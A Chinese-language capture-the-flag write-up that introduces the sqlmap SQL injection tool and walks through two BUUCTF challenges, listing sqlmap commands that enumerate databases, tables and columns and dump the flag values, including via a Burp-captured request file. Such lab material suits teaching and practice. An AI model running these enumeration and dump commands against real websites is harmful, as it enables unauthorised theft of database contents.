首先介绍一下sqlmap:
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap基本注入方式参数有以下几种:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
用法:
–technique BEUSTQ
下面以两道题目为例介绍基本用法
例题1:
题目来源:buuctf
第一种解法可用union注入方式手动注入,但今天主要还是通过sqlmap进行解题
直接输入命令:
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a --dbs
爆出数据库
一般表名会在information_schema中的tables表中
因此输入命令:
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a -D information_schema --tables
爆出表名tables
输入命令:
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a -D information_schema -T tables --columns
爆出字段名
寻找其中table_name:
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a -D information_schema -T tables -C table_name --dump
爆出所有字段
其中有个表名为fl4g,推测其存在flag
输入命令:
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a -T fl4g --columns
爆出字段名
进而用
sqlmap -u http://d7d9afc3-5fb4-4321-b9ab-5684e4eb3706.node4.buuoj.cn:81/index.php?id=1a -T fl4g -C fllllag --dump
爆出字段
即可获取flag:n1book{union_select_is_so_cool}
例题2:
题目来源:buuctf
查看源码,发现在url后加入?tips=1可开启错误提示,因此想到可以使用报错注入方式
同样也可使用sqlmap注入
可以先用burp抓包后再用sqlmap注入两者联动的方式进行解题
抓包后右键copy to file进行保存,这里命名为1.txt
使用命令sqlmap -r '文件名’进行文件读取
和上题相似,第一步爆库:
sqlmap -r '1.txt' --technique E --dbs
推测数据库名在information_schema库中的tables表中,因此先爆表:
sqlmap -r '1.txt' -D information_schema --tables
接着爆字段名:
sqlmap -r '1.txt' -D information_schema -T tables --columns
然后爆table_name中的字段:
sqlmap -r '1.txt' -D information_schema -T tables -C table_name --dump
推测flag在fl4g表中,直接访问fl4g表中的字段名:
sqlmap -r '1.txt' -T fl4g --columns
发现报错,可能是因为MySQL版本高于5.0
只能一步一步找数据库:
这是我们上面爆出来的库,推测fl4g表只可能在mysql库或者note库中,
首先爆mysql库:
sqlmap -r '1.txt' -D mysql -T fl4g --columns
并没有fl4g表
接着爆note库:
sqlmap -r '1.txt' -D note -T fl4g --columns
发现字段名flag
访问flag:
sqlmap -r '1.txt' -D note -T fl4g -C flag --dump
获得flag:n1book{login_sqli_is_nice}